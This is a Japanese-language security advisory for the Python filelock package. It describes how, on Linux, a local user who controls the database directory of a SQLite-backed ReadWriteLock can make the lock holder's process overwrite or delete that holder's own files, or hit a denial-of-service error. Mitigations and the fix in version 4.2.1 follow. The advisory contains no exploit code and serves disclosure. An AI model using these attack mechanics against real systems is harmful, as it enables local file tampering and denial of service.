別のローカルユーザーが、データベースを保持する、書き込み可能なディレクトリを作成すると、ロックユーザーのプロセスが、ロックデータベース以外のファイルに対して、ロックユーザーの権限で動作するようになります(Linuxの場合)。このプロセスは、ロックユーザーが書き込み可能な、空でない通常のファイルに対して、オフセット0から、他のユーザーが指定したバイトを書き込みます。このファイルは、整数ページ数になるようにサイズが調整されます。ただし、他のユーザーが、そのファイルに`<file>-journal`という名前のファイルを作成できる必要があります(ロックユーザー自身の`/tmp`ディレクトリにある`0600`権限のファイルが該当します)。ジャーナルファイルがない場合、プロセスは、作成可能な任意のパスに空のファイルを作成するか、自身のWALモードのSQLiteデータベースを、エラーなしでロールバックモードに変換します。スワップインされたデータベースの横にジャーナルファイルがある場合、プロセスは、ジャーナルファイルごとに、他のユーザーが指定した通常のファイルを1つ削除します。この場合、ロックの取得は成功し、エラーは発生しません。`write_lock()`内のプロセスは、ロックユーザーの他のプロセスが`read_lock()`を使用することをブロックしなくなります。また、ロックを保持しているプロセスは、`release()`関数で受信する`SIGBUS`シグナルによって終了する可能性があります。
`/tmp`ディレクトリにある、ロックユーザーが所有するデータベースで、`fs.protected_regular`が1または2に設定されている場合、この状況は発生しません。この場合、残るのは、`-wal`ファイルによるサービス拒否攻撃のみです。この攻撃では、ロックの取得を試行するたびに、ドキュメントに記載されていない`sqlite3.OperationalError`が発生し、`Timeout`や`OSError`ハンドラでは捕捉されません。これは、GHSA-j8f7-rjxc-mr56(バージョン4.0.9)の修正を回避するものであり、この修正では、データベースパスにあるシンボリックリンクは拒否されますが、`<database> (deleted)`という名前の場所に存在するシンボリックリンクは追跡されます。Windowsでは、このパスは使用されません。
## 対策
- `ReadWriteLock`データベースは、ロックアカウント(またはroot)のみが書き込み可能なディレクトリに配置してください。グループやその他の書き込み権限は設定しないでください。すべての親ディレクトリも、そのアカウントまたはrootに属し、他のユーザーが書き込みできないか、またはsticky属性が設定されている必要があります。`0777`やグループ書き込み可能なディレクトリを介して、複数のアカウントで`ReadWriteLock`データベースを共有しないでください。ロックはデータベースを`0600`の権限で作成し、この権限を維持することで、他のアカウントがその内容を書き込むのを防ぎます。
- sticky属性が設定されたディレクトリにあるロックの場合、`fs.protected_regular`を1または2に、`fs.protected_hardlinks=1`(ディストリビューションのデフォルト値)に設定してください。ロックの取得時に、常に`sqlite3.OperationalError: disk I/O error`が発生する場合は、データベースとは別の`<db>-wal`ファイルが存在し、ファイルの所有者またはrootが削除する必要がある可能性があります。
## パッチバージョン
4.2.1
修正: https://github.com/tox-dev/filelock/pull/834
## 貢献者
AnthropicのOSSスキャナ(自動分析)によって報告され、2026年10月15日に報告、メンテナによってレビューされました。
- 2026年10月15日 23:08 UTC: 報告を受信(コミット`b831496b0273`の`filelock-20261015-005`をスキャン)
- 2026年10月16日 00:46 UTC: ドラフトのアドバイザリを作成
- 2026年10月16日 01:15 UTC: 修正のためのプルリクエスト#834を開設
影響を受けるパッケージ:
- pip (Python) filelock: 影響を受けるバージョンは3.20.4以上、4.2.0以下、4.2.1で修正済み。